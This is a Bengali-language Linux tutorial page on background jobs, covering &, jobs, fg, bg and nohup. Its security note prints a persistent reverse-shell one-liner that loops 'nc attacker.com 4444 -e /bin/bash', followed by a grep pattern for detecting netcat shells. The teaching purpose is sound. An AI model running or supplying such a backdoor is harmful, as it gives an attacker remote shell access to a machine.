Skip to Content

Background Jobs

সাধারণত command চালালে terminal সেটা শেষ হওয়া পর্যন্ত অপেক্ষা করে — এই সময় তুমি আর কিছু করতে পারো না। Background jobs এই সমস্যার সমাধান।

Foreground vs Background

Foreground মানে: Terminal block। Command শেষ না হওয়া পর্যন্ত terminal তোমার কোনো নতুন input নেবে না।

Terminal
# এই command foreground-এ চলে # 100 সেকেন্ড ধরে terminal block থাকবে sleep 100 # এখন অন্য কিছু টাইপ করতে পারবে না

Background মানে: Process চলতে থাকে, কিন্তু terminal free। তুমি অন্য কাজ করতে পারো।

Terminal
# & দিলে background-এ যায় sleep 100 & # Output: [1] 5432 # ^ ^ # | PID (process ID) # job number # এখনই নতুন command দিতে পারো ls -la

Job number vs PID:

  • Job number [1] — এই terminal session-এর মধ্যে এটা কততম background job
  • PID 5432 — পুরো system-এ এই process-এর unique ID

Job number দিয়ে fg, bg command কাজ করে। PID দিয়ে kill command কাজ করে।

& — Background-এ Start

Command-এর শেষে & যোগ করলেই background-এ যায়।

Terminal
# Server background-এ চালু করো python3 -m http.server 8080 & # [1] 6789 # Terminal এখন free — অন্য কাজ করো curl localhost:8080 ls /var/log

jobs

এই terminal session-এর সব background jobs দেখো।

Terminal
jobs # Output: # [1]+ Running sleep 100 & # [2]- Stopped vim notes.txt # ^ ^ # job# state
চিহ্নমানে
+Default job — fg বা bg দিলে এটাই select হবে
-এর আগের job
Runningচলছে
StoppedCtrl+Z দিয়ে থামানো আছে

fg এবং bg

Background job-কে আবার terminal-এ ফিরিয়ে আনো।

Terminal
# সবচেয়ে সাম্প্রতিক job foreground-এ আনো fg # নির্দিষ্ট job number fg %1 fg %2

fg করার পর terminal আবার block হবে — সেই process এখন foreground-এ।

পুরো Workflow একসাথে

Terminal
# 1. Background-এ server চালাও python3 -m http.server 8080 & # [1] 7890 # 2. অন্য কাজ করো curl localhost:8080 ls /var/log # 3. Background jobs দেখো jobs # [1]+ Running python3 -m http.server 8080 & # 4. Foreground-এ আনো (দরকার হলে) fg %1 # 5. Ctrl+C দিয়ে বন্ধ করো

nohup — Terminal বন্ধ হলেও চলুক

আগে জানো কেন terminal বন্ধ হলে background job মারা যায়:

তুমি terminal বন্ধ করলে Linux সেই terminal-এর সব child process-কে SIGHUP (Signal Hang Up) পাঠায়। এই signal পেলে process নিজেই বন্ধ হয়ে যায়।

nohup (No Hang Up) এই signal-কে ignore করে — তাই terminal বন্ধ হলেও process চলতে থাকে।

Terminal
# terminal বন্ধ করলেও চলবে nohup python3 server.py & # Output: nohup.out (সব output এই file-এ যাবে) # live দেখো: tail -f nohup.out
Terminal
# nohup + নির্দিষ্ট output file nohup python3 server.py > server.log 2>&1 & # ^ ^ # stdout stderr ও এখানে

nohup কখন দরকার: SSH দিয়ে remote server-এ কাজ করার সময় nohup ছাড়া background job চালালে — SSH connection বন্ধ হলে job-ও বন্ধ হয়ে যাবে। Long-running scripts বা servers চালাতে সবসময় nohup ব্যবহার করো।

CyberSec Note

Background jobs — attacker এবং defender perspective:

Attacker কীভাবে ব্যবহার করে:

Reverse shell পাওয়ার পর attacker প্রায়ই persistence তৈরি করতে background jobs ব্যবহার করে:

Terminal
# Persistent backdoor — প্রতি ৬০ সেকেন্ডে পুনরায় connect করে # terminal বন্ধ হলেও চলে nohup bash -c 'while true; do nc attacker.com 4444 -e /bin/bash; sleep 60; done' &

তুমি যদি defender হও — কীভাবে সন্দেহজনক background job ধরবে:

Terminal
# এই terminal session-এর background jobs দেখো jobs # পুরো system-এ unusual processes ps aux | grep -E "nc|ncat|netcat|bash -i" # কোন process কোন external IP-তে connect করছে ss -tnp | grep ESTABLISHED

SIGHUP এবং নিরাপত্তা: যখন কোনো system-এ unknown nohup process দেখবে, সেটা সন্দেহজনক — কারণ normal user সাধারণত nohup ব্যবহার করে না।

Quick Check

  • sleep 100 আর sleep 100 & এর মধ্যে পার্থক্য কী?
  • Job number আর PID কেন আলাদা?
  • Terminal বন্ধ করলে background job কেন মারা যায়?
  • nohup কীভাবে সেই সমস্যা সমাধান করে?
  • fg %2 মানে কী?

পরবর্তী → Killing Processes

Search Keywords: linux background jobs bangla, fg bg jobs commands, nohup SIGHUP, & background process bengali, linux job control, terminal background task

Last updated on